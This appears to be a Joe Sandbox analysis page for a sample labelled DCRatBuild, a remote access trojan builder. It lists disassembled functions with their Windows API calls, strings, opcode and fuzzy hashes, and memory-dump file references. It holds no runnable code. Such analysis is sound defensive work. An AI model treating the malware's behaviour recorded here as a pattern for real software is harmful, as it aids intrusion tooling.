API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: 4aabe89a06db2a58d1860ca62961b931767757597a821c38b2a0da5e4d06bd89
Instruction ID: 096fe1cc13dc9457093575d0f1a324aee91fe45d571e725da0bf22ac55c72aa0
Opcode Fuzzy Hash: 4aabe89a06db2a58d1860ca62961b931767757597a821c38b2a0da5e4d06bd89
Instruction Fuzzy Hash: 9B51E572A10246AFDB259F76CC41FBB77AAEF40760F154229FE04E6140DB39EC40E662

Function 00FDA2C7 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetClassNameW.USER32(?,?,00000050), ref: 00FDA2DE
SHAutoComplete.SHLWAPI(?,00000010), ref: 00FDA315

Part of subcall function 00FD17AC: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_000117AC,00FCBB05,00000000,.exe,?,?,00000800,?,?,00FD85DF,?), ref: 00FD17C2

FindWindowExW.USER32(?,00000000,EDIT,00000000), ref: 00FDA305

Strings

@Ut, xrefs: 00FDA315
EDIT, xrefs: 00FDA2E9, 00FDA2F4, 00FDA301

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: AutoClassCompareCompleteFindNameStringWindow
String ID: @Ut$EDIT
API String ID: 4243998846-2065656831
Opcode ID: 6400f45737cff886e42c8c5f7b2b30b7291f78c24de9501393c5fc74d0acf967
Instruction ID: 35071e39887abe822b8aaf943d80e0bd6a0fb14d25e143da518b4a75ef47abf7
Opcode Fuzzy Hash: 6400f45737cff886e42c8c5f7b2b30b7291f78c24de9501393c5fc74d0acf967
Instruction Fuzzy Hash: 6EF0E232A0122877E73059649C05FAB776E9F46B10F480052FE44E2281D76AA951D6FE

Function 00FDA335 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 35
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00FD0085: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00FD00A0
Part of subcall function 00FD0085: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00FCEB86,Crypt32.dll,00000000,00FCEC0A,?,?,00FCEBEC,?,?,?), ref: 00FD00C2

OleInitialize.OLE32(00000000), ref: 00FDA34E
GdiplusStartup.GDIPLUS(?,?,00000000), ref: 00FDA385
SHGetMalloc.SHELL32(01008430), ref: 00FDA38F

Strings

riched20.dll, xrefs: 00FDA33D
3So, xrefs: 00FDA366

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: DirectoryGdiplusInitializeLibraryLoadMallocStartupSystem
String ID: riched20.dll$3So
API String ID: 3498096277-3464455743
Opcode ID: 06f0e449662632cbdd25b6d7d68b93a23f43ab010967d03649e8cd0623b63012
Instruction ID: 5f44c28ea205b899be52cb0595dad48e05164e48b277e6d9cecda5a983652fa6
Opcode Fuzzy Hash: 06f0e449662632cbdd25b6d7d68b93a23f43ab010967d03649e8cd0623b63012
Instruction Fuzzy Hash: 97F049B1C0020DABDB20AF99D8499EFFBFCEF94301F10415BF854E2201CBB856058BA1

Function 00FC99B0 Relevance: 7.6, APIs: 5, Instructions: 117
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,00000003,?,00000000,?,00000000,?,?,00FC78AD,?,00000005,?,00000011), ref: 00FC9A4C
GetLastError.KERNEL32(?,?,00FC78AD,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00FC9A59
CreateFileW.KERNEL32(?,?,?,00000000,00000003,?,00000000,?,?,00000800,?,?,00FC78AD,?,00000005,?), ref: 00FC9A8E
GetLastError.KERNEL32(?,?,00FC78AD,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00FC9A96
SetFileTime.KERNEL32(00000000,00000000,000000FF,00000000,?,00FC78AD,?,00000005,?,00000011,?,?,00000000,?,0000003A,00000802), ref: 00FC9ADB

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: File$CreateErrorLast$Time
String ID:
API String ID: 1999340476-0
Opcode ID: 221c9fc5ae397ba87c351dc1d72a4ff35b9a8359367a5babca466ca337e54a7a
Instruction ID: 4aec7b8328c375d7578b43ee1cdd8c807412e7adb9f52451b61f8f4ae85ba378
Opcode Fuzzy Hash: 221c9fc5ae397ba87c351dc1d72a4ff35b9a8359367a5babca466ca337e54a7a
Instruction Fuzzy Hash: B44126719487466FE3209B20CD0AFEABBD4BB01334F10071EF5A4961D1D7B99988EB95

Function 00FDAC74 Relevance: 7.5, APIs: 5, Instructions: 39
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00FDAC85
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00FDAC96
IsDialogMessageW.USER32(00010434,?), ref: 00FDACAA
TranslateMessage.USER32(?), ref: 00FDACB8
DispatchMessageW.USER32(?), ref: 00FDACC2

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: Message$DialogDispatchPeekTranslate
String ID:
API String ID: 1266772231-0
Opcode ID: 24c04b67171bab68658bab8b1edc9764275db2fd2b5d5a6c1b3ee5d68e1accf8
Instruction ID: f923616c3dfafb12947181bb639c837c1a17a10d610e52279c73c71f83985a36
Opcode Fuzzy Hash: 24c04b67171bab68658bab8b1edc9764275db2fd2b5d5a6c1b3ee5d68e1accf8
Instruction Fuzzy Hash: C7F01D71D01229AB8B309FE19C8CDEF7F6DEE052617444416F945D2205EA2DD405C7B1

Function 00FDD287 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetEnvironmentVariableW.KERNEL32(sfxcmd,?), ref: 00FDD29D
SetEnvironmentVariableW.KERNELBASE(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 00FDD2D9

Strings

sfxcmd, xrefs: 00FDD298
sfxpar, xrefs: 00FDD2D4

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: EnvironmentVariable
String ID: sfxcmd$sfxpar
API String ID: 1431749950-3493335439
Opcode ID: d5fa4b3e59387e1b91e02bf5c823b3a415ecd1b06a53ff12ef84d0aed603433d
Instruction ID: 1fdfed07ee672db0a1e960966bb3735ec53ea632d83d47e5ddca569e5a854c36
Opcode Fuzzy Hash: d5fa4b3e59387e1b91e02bf5c823b3a415ecd1b06a53ff12ef84d0aed603433d
Instruction Fuzzy Hash: 87F0A772D0022DA6D7202F949C0AFBEBB5EAF09F92B040016FD4456251DB64CD40F6F1

Function 00FC984E Relevance: 6.1, APIs: 4, Instructions: 57
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6), ref: 00FC985E
ReadFile.KERNELBASE(?,?,00000001,?,00000000), ref: 00FC9876
GetLastError.KERNEL32 ref: 00FC98A8
GetLastError.KERNEL32 ref: 00FC98C7

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: b0795d50f25d409455b3c1382b4a6d6895d35b495b40aab6573dfef65294fe7d
Instruction ID: ee8ca9f25face88ecff5e0ffb6274d9ec1c8d8958b2437c8931b21818ff61e5f
Opcode Fuzzy Hash: b0795d50f25d409455b3c1382b4a6d6895d35b495b40aab6573dfef65294fe7d
Instruction Fuzzy Hash: 2D119132D0820AEBDB245B51CA0AF7937ACEB02731F90812EE42A875C0DBB5DD44BB51

Function 00FEA4F4 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,00000800,00FCCFE0,00000000,00000000,?,00FEA49B,00FCCFE0,00000000,00000000,00000000,?,00FEA698,00000006,FlsSetValue), ref: 00FEA526
GetLastError.KERNEL32(?,00FEA49B,00FCCFE0,00000000,00000000,00000000,?,00FEA698,00000006,FlsSetValue,00FF7348,00FF7350,00000000,00000364,?,00FE9077), ref: 00FEA532
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,00FEA49B,00FCCFE0,00000000,00000000,00000000,?,00FEA698,00000006,FlsSetValue,00FF7348,00FF7350,00000000), ref: 00FEA540

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: dd0ec08d1798cf40ba99cfba73c0ce0863d1800a4654be476acbd7472ddd927f
Instruction ID: 7d8db85506f528ac66ad20536ee905507455790375da1a96d9a7388b07eab955
Opcode Fuzzy Hash: dd0ec08d1798cf40ba99cfba73c0ce0863d1800a4654be476acbd7472ddd927f
Instruction Fuzzy Hash: 6201A736A11366ABC7218A6A9C44B667B5CAF45BB17280525F906D7140DB31FA00EAE1

Function 00FC9F2F Relevance: 4.6, APIs: 3, Instructions: 107fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,?,00000001,?,?,00FCCC94,00000001,?,?,?,00000000,00FD4ECD,?,?,?), ref: 00FC9F4C
WriteFile.KERNEL32(?,?,?,00000000,00000000,?,?,00000000,00FD4ECD,?,?,?,?,?,00FD4972,?), ref: 00FC9F8E
WriteFile.KERNELBASE(?,?,?,00000000,00000000,?,?,?,00000001,?,?,00FCCC94,00000001,?,?), ref: 00FC9FB8

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: FileWrite$Handle
String ID:
API String ID: 4209713984-0
Opcode ID: 837c93aa32a363fb4baa119c13786ba85b391b5f21c30596b8611b6e56dffda0
Instruction ID: 2fb0e7d371cd0dcb30985f130c10c48baa030585e5803747a09b61cd6f05662b
Opcode Fuzzy Hash: 837c93aa32a363fb4baa119c13786ba85b391b5f21c30596b8611b6e56dffda0
Instruction Fuzzy Hash: B8310471A0C30A9BDF108F14DE49F6ABBA8EF80764F04451DF945DA181CBB4D848EBA2

Function 00FCA207 Relevance: 4.6, APIs: 3, Instructions: 56COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,?,?,?,00FCA113,?,00000001,00000000,?,?), ref: 00FCA22E
CreateDirectoryW.KERNEL32(?,00000000,?,?,00000800,?,?,?,?,00FCA113,?,00000001,00000000,?,?), ref: 00FCA261
GetLastError.KERNEL32(?,?,?,?,00FCA113,?,00000001,00000000,?,?), ref: 00FCA27E

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: CreateDirectory$ErrorLast
String ID:
API String ID: 2485089472-0
Opcode ID: 96b58d6c03e50692372826777d7dbf726757de97096b2ea0d8651b0cade92e14
Instruction ID: 144392ad72e9357b93d3a7f6ee469c5faa09555e7d5a233dc713c0bc75124cbe
Opcode Fuzzy Hash: 96b58d6c03e50692372826777d7dbf726757de97096b2ea0d8651b0cade92e14
Instruction Fuzzy Hash: 8201C03194122E66DB22AB748E0BFFD335CAF07769F08045EF800D5051CB66EA40F6A3

Function 00FEAFF4 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(5EFC4D8B,?,00000005,?,00000000), ref: 00FEB019

Strings

, xrefs: 00FEB05E

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-3916222277
Opcode ID: eba44b98aec0bb6f66ba792c6bcf966271657dd2a190b4d1576cd84f99c5b5c9
Instruction ID: 3b9c350f8cd254e6f03732158b005a17a583326efba4e31a50621f8274480c7c
Opcode Fuzzy Hash: eba44b98aec0bb6f66ba792c6bcf966271657dd2a190b4d1576cd84f99c5b5c9
Instruction Fuzzy Hash: F34127B19043CC9ADF228E258C94BF7BBA9DB45314F1404EDE69A87142D339AA45EF60

Function 00FEA72C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,3FE85006,00000001,?,?), ref: 00FEA79D

Strings

LCMapStringEx, xrefs: 00FEA73D, 00FEA747

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: String
String ID: LCMapStringEx
API String ID: 2568140703-3893581201
Opcode ID: 78186452710031cee27e11a86fa0773113ae783d267918ca0633b41494ce8d73
Instruction ID: 7743cec85aa6851c6c3d57aaab689e4975ca6e4606228a65513174f6973f4a8e
Opcode Fuzzy Hash: 78186452710031cee27e11a86fa0773113ae783d267918ca0633b41494ce8d73
Instruction Fuzzy Hash: C201E23254425DBBCF02AFA1DC06DEE7F66EF08760F054154FE1866160CA769A31FB92

Function 00FEA6CA Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,00FE9D2F), ref: 00FEA715

Strings

InitializeCriticalSectionEx, xrefs: 00FEA6E5

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: InitializeCriticalSectionEx
API String ID: 2593887523-3084827643
Opcode ID: 47d3a09286c5d2b3bb835e3dc09b4d0c77ef72c432a893e2be31e610b29b4db0
Instruction ID: 89ae13cf0a34b189acb670cf4345d2daef965a6278bac7cc793a077e866c1b26
Opcode Fuzzy Hash: 47d3a09286c5d2b3bb835e3dc09b4d0c77ef72c432a893e2be31e610b29b4db0
Instruction Fuzzy Hash: 23F0E231A4521CBBCB01AF61DC05CBEBFA5EF04720B004065FD095A270DA71AE20FB92

Function 00FEA56F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 00FEA5AE

Strings

FlsAlloc, xrefs: 00FEA58A

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: Alloc
String ID: FlsAlloc
API String ID: 2773662609-671089009
Opcode ID: 90b56f1ac1b3d8f9f248501a6a4073cca79e2bdb1685a2a15327c77030e54dc8
Instruction ID: a8d0c8327e33d983b4667ae64d1a6280527c72a02c833ff270b33d29ff4a9640
Opcode Fuzzy Hash: 90b56f1ac1b3d8f9f248501a6a4073cca79e2bdb1685a2a15327c77030e54dc8
Instruction Fuzzy Hash: 66E05530B4532C7B8310BB619C029BEBB58CF14B20B040015FD086B260DD70AE00F6D6

Function 00FE329A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00FE32AF

Strings

FlsAlloc, xrefs: 00FE329E, 00FE32A8

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: try_get_function
String ID: FlsAlloc
API String ID: 2742660187-671089009
Opcode ID: 03137c1dc85bb873f51f58d626119d60b4ea17dff42287a8fab990ddf5619cfb
Instruction ID: ec66de07a70a8464fb2809cf43a552484dc367450256390f2f630d6fe07426d9
Opcode Fuzzy Hash: 03137c1dc85bb873f51f58d626119d60b4ea17dff42287a8fab990ddf5619cfb
Instruction Fuzzy Hash: 2DD02B21B81A7C6AC11032C16C079BE7E048F01FB3F490152FF089F2529465C50071CF

Function 00FDE1F9 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FDE20B

Part of subcall function 00FDDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FDDFD6
Part of subcall function 00FDDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FDDFE7

Strings

3So, xrefs: 00FDE1F9, 00FDE205

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: 3So
API String ID: 1269201914-1105799393
Opcode ID: 8a33e0f197bed588970c7f76d80b2283b69a44bbd7c54f72a177a4908368f96b
Instruction ID: a9b7392246d051c824c7f787e9dffbdbd47bec9206d04ca79010df3641aea887
Opcode Fuzzy Hash: 8a33e0f197bed588970c7f76d80b2283b69a44bbd7c54f72a177a4908368f96b
Instruction Fuzzy Hash: 4CB0129266E0057C310D6240FD06D36032EC8C0B51334804BF205D8181D5448D097033

Function 00FEB350 Relevance: 3.2, APIs: 2, Instructions: 168COMMON

Download Yara Rule

APIs

Part of subcall function 00FEAF1B: GetOEMCP.KERNEL32(00000000,?,?,00FEB1A5,?), ref: 00FEAF46

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,00FEB1EA,?,00000000), ref: 00FEB3C4
GetCPInfo.KERNEL32(00000000,00FEB1EA,?,?,?,00FEB1EA,?,00000000), ref: 00FEB3D7

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
